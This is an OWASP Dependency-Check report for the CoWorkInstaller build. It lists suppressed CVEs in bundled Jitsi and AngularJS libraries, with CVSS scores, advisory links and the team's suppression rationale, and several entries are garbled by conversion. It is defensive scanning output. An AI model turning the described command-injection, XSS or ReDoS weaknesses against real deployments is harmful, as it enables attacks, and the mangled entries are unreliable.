



Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user's risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.

[How to read the report](#) | [Suppressing false positives](#) | [Getting Help: github issues](#)

## Project: root project 'CoWorkInstaller'

cowork:CoWorkInstaller:26.4

Scan Information ([show all](#)):

- *dependency-check version:* 12.2.1
- *Report Generated On:* Sat, 16 May 2026 14:55:45 +0200
- *Dependencies Scanned:* 1284 (1228 unique)
- *Vulnerable Dependencies:* 0
- *Vulnerabilities Found:* 0
- *Vulnerabilities Suppressed:* 118 ([show](#))
- ...

## Analysis Exceptions

Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



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Server status: 402 - Server reason: Payment Required



## Summary

Summary of Vulnerable Dependencies [\(click to show all\)](#)

Dependency   Vulnerability IDs   Package   Highest Severity   CVE Count   Confidence   Evidence Count

## Dependencies (vulnerable)

## Suppressed Vulnerabilities



### cowork.calls.zip: ice4j.jar

#### Description:

A Java implementation of the ICE protocol

#### License:

Apache-2.0: <https://github.com/jitsi/ice4j/blob/master/LICENSE>

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller  
/build/tmp/dependencies/i-net CoWork/plugins/cowork.calls.zip/ice4j.jar

**MD5:** f0adbd525d5fdd863e34317ac7f48248

**SHA1:** b532fe55ea7836581a6fe67eb991318762a541c5

**SHA256:** 11c4b2d9e12d199ed494f74a004d2468d323e4330f2285539381842aed725650

**Referenced In Project/Scope:** CoWorkInstaller

#### Evidence



#### Suppressed Identifiers

- None

#### Suppressed Vulnerabilities



[CVE-2022-43550](#) suppressed

A command injection vulnerability exists in Jitsi before commit 8aa7be58522f4264078d54752aae5483bfd854b2 when launching browsers on Windows which could allow an attacker to insert an arbitrary URL which opens up the opportunity to remote execution.

CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection'), CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Notes: false positives, no end date CVE-2008-7271 - This is for the eclipse ide and not for any library from eclipse. CVE-2010-4647 - This is for the eclipse ide and not for any library from eclipse. CVE-2020-26939 - The BouncyCastle FIPS variant uses same maven package matcher

but has different version numbers. CVE-2021-4236 - This is for a go project, match on every lib with 'web' in the name CVE-2021-4277 - This is for a utils project from fredssmith, match on every lib with 'utils' in the name CVE-2022-31548 - This is a CVE for a sample python project. CVE-2022-43550 - This is a CVE for the jitsi main project and not for any library from jitsi. CVE-2022-45688 - This is for hutool-json, matched on every component with 'json' in the name CVE-2023-5072 - This is for JSON-java, matched on every component with 'json' in the name CVE-2023-33202 - The BouncyCastle FIPS variant uses same maven package matcher but has different version numbers. CVE-2023-35116 - DISPUTED CVE-2023-36052 - This is for Azure CLI and not for com.azure:azure-core. CVE-2023-45161 - This is for 1E-Exchange which we does not use.

#### CVSSv3:

- CRITICAL (9.8)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - [PATCH](#)
- support@hackerone.com - [PATCH](#)

#### Vulnerable Software & Versions:

- [cpe:2.3:a:jitsi:jitsi:\\*:\\*:\\*:\\*:\\* versions up to \(excluding\) 2022-09-14](#)

## cowork.calls.zip: jicoco-config.jar

### Description:

Jitsi Common Components (Configuration Utilities)

### License:

"Apache-2.0";link="https://github.com/jitsi/jicoco/blob/master/LICENSE"

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/cowork.calls.zip/jicoco-config.jar

**MD5:** 8f02ad43cc5b7ce1803ab41720a88380

**SHA1:** 09ef0e37983dac8cc3e6c287822087a2b86efc56

**SHA256:** c55bdac708441b777a6d5b88a998853aae6ba9af62d059f52cf6679c85b2fa0ac

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

### Suppressed Vulnerabilities



[CVE-2022-43550](#) suppressed

A command injection vulnerability exists in Jitsi before commit 8aa7be58522f4264078d54752aae5483bfd854b2 when launching browsers on Windows which could allow an attacker to insert an arbitrary URL which opens up the opportunity to remote execution.

CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection'), CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Notes: false positives, no end date CVE-2008-7271 - This is for the eclipse ide and not for any library from eclipse. CVE-2010-4647 - This is for the eclipse ide and not for any library from eclipse. CVE-2020-26939 - The BouncyCastle FIPS variant uses same maven package matcher but has different version numbers. CVE-2021-4236 - This is for a go project, match on every lib with 'web' in the name CVE-2021-4277 - This is for a utils project from fredssmith, match on every lib with 'utils' in the name CVE-2022-31548 - This is a CVE for a sample phyton project. CVE-2022-43550 - This is a CVE for the jitsi main project and not for any library from jitsi. CVE-2022-45688 - This is for hutool-json, matched on every component with 'json' in the name CVE-2023-5072 - This is for JSON-java, matched on every component with 'json' in the name CVE-2023-33202 - The BouncyCastle FIPS variant uses same maven package matcher but has different version numbers. CVE-2023-35116 - DISPUTED CVE-2023-36052 - This is for Azure CLI and not for com.azure:azure-core. CVE-2023-45161 - This is for 1E-Exchange which we does not use.

CVSSv3:

- CRITICAL (9.8)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [PATCH](#)
- support@hackerone.com - [PATCH](#)

### Vulnerable Software & Versions:

- `cpe:2.3:a:jitsi:jitsi:*:*:*:*:*` versions up to (excluding) 2022-09-14

**cowork.calls.zip: jitsi-metaconfig.jar**

**Description:**

## jitsi-metaconfig helps solve the problems around the evolution of configuration properties

**License:**

Apache-2.0: <https://github.com/jitsi/jitsi-metaconfig/blob/master/LICENSE>

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/cowork.calls.zip/iitsi-metaconfig.jar

**MD5:** 149facd87e6b7aa23daaf5ab34b612f0

**SHA1:** 2a88915e0216e985aef6d28b53ab572f11f11fe9

**SHA256:** d92696906349b12b99c929450637797c28b8971cc69ef75a0f093d5566ee17bf

**Referenced In Project/Scope:** CoWorkInstaller

## Evidence



### Suppressed Identifiers

- None

## Suppressed Vulnerabilities



suppressed

CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection'), CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CVSSv3:

- References:

- ### Vulnerable Software & Versions:

- cowork.calls.zip: jitsi-utils.jar**

# A set of basic utilities used in Jitsi projects

Apache-2.0: <https://github.com/iitsi/iitsi-utils/blob/master/LICENSE>

MD5: 3833fa8e0ff61fa9c96f1c7fd4db32ee

**SHA1:** 280e539b5071be1ff5d8951e2c675818e0876b7f

**SHA256:** eba234ebd3a9fde0d291673a8d5cc29d8e0bdca7e425d552c43e28d5f2acc0f7

**Referenced In Project/Scope:** CoWorkInstaller

+

### Suppressed Identifiers

- None

## Suppressed Vulnerabilities

### [CVE-2022-43550](#) suppressed

A command injection vulnerability exists in Jitsi before commit 8aa7be58522f4264078d54752aae5483bfd854b2 when launching browsers on Windows which could allow an attacker to insert an arbitrary URL which opens up the opportunity to remote execution.

CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection'), CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

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CVSSv3:

- CRITICAL (9.8)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [PATCH](#)
- support@hackerone.com - [PATCH](#)

Vulnerable Software & Versions:

- [cpe:2.3:a:jitsi:jitsi:\\*:\\*:\\*:\\*:\\* versions up to \(excluding\) 2022-09-14](#)

## remotegui.zip: angular-animate.jar: angular-animate.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular-animate.jar/META-INF/resources/webjars/angular-animate/1.8.3/angular-animate.js

**MD5:** 31312b87e7226c8bf0714fcef0ea5d18

**SHA1:** dc9fb55f2c7f922c5ba83449266239ba1353db45

**SHA256:** 58e79e0e7cbb1e1502d216701e1fae41c405d92320aea1b68a223054096fda93

**Referenced In Project/Scope:** CoWorkInstaller

## Evidence

## Suppressed Identifiers

- None

## Suppressed Vulnerabilities



### [CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER\_FORMATS.PATTERNS[1].posPre with a very high value.  
\*\*Note:\*\* 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap\_select\_deploy\_administration\_utility:\*:\*:\*:\*:\*

### [CVE-2024-21490](#) suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of



service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to `@angular/core` (<https://www.npmjs.com/package/@angular/core>).

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [THIRD\\_PARTY\\_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:\*:\*:\*:\*:\* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of `<textarea>` elements.

#### CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>



#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>

- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.0.0; versions up to (including) 1.8.3

#### [CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

#### CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

#### CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

#### References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- report@snyk.io - [MAILING\\_LIST,THIRD\\_PARTY\\_ADVISORY](#)

#### Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.4.9; versions up to (including) 1.8.3

#### [CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing

[https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:\*:\*:\*:\*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:\*:\*:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:linux:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:vsphere:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:-:\*:\*:\*:windows:\*

[CVE-2024-8373](#) suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing [https://owasp.org/www-community/attacks/Content\\_Spoofing](https://owasp.org/www-community/attacks/Content_Spoofing) .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see [here https://docs.angularjs.org/misc/version-support-status](https://docs.angularjs.org/misc/version-support-status) .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD\\_PARTY\\_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD\\_PARTY\\_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>

- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:\*:\*:\*:\*:\* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:linux:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:vsphere:\*:\*
- cpe:2.3:a:netapp:active\_iq\_unified\_manager:\*:\*:\*:\*:windows:\*:\*

**CVE-2025-2336** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/bNGYaXx/412a3a4218387479898912f60c269c6c>
- info - <https://github.com/advisories/GHSA-4p4w-6hg8-63wx>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-2336>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-2336>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-4690** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: medium

References:

- info - <https://codepen.io/herodevs/pen/RNNEPzP/751b91eab7730dff277523f3d50e4b77>
- info - <https://github.com/advisories/GHSA-hfff-63hg-f47j>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-4690>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-4690>

Vulnerable Software & Versions (RETIREJS):

**CVE-2025-0716** (RETIREJS) suppressed

Notes: We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://codepen.io/herodevs/pen/qEWQmpd/a86a0d29310e12c7a3756768e6c7b915>
- info - <https://github.com/advisories/GHSA-j58c-ww9w-pwp5>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2025-0716>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2025-0716>

Vulnerable Software & Versions (RETIREJS):

**End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021** (RETIREJS) suppressed

End-of-Life: Long term support for AngularJS has been discontinued as of December 31, 2021

Notes: file name: remotegui.zip: angularjs.jar We can not yet update to newer Angular Version

Unscored:

- Severity: low

References:

- info - <https://docs.angularjs.org/misc/version-support-status>
- retid - 54

Vulnerable Software & Versions (RETIREJS):

## remotegui.zip: angular-animate.jar: angular-animate.min.js

**File Path:** /home/jenkins/workspace/cowork/Check-Product-Installer-for-Security-Problems/CoWorkInstaller/build/tmp/dependencies/i-net CoWork/plugins/remotegui.zip/angular-animate.jar/META-INF/resources/webjars/angular-animate/1.8.3/angular-animate.min.js

**MD5:** 5d2d0f42bb7e1b5503e914674f59dad0

**SHA1:** 4c15a58541e53c451c6f946d2048104f88b833c7

**SHA256:** 8e6202b1330a469a61ccdeebbd1cb3a20d0ecdfe8d106f68da5b85e9b67a1cd5

**Referenced In Project/Scope:** CoWorkInstaller

### Evidence



### Suppressed Identifiers

- None

### Suppressed Vulnerabilities



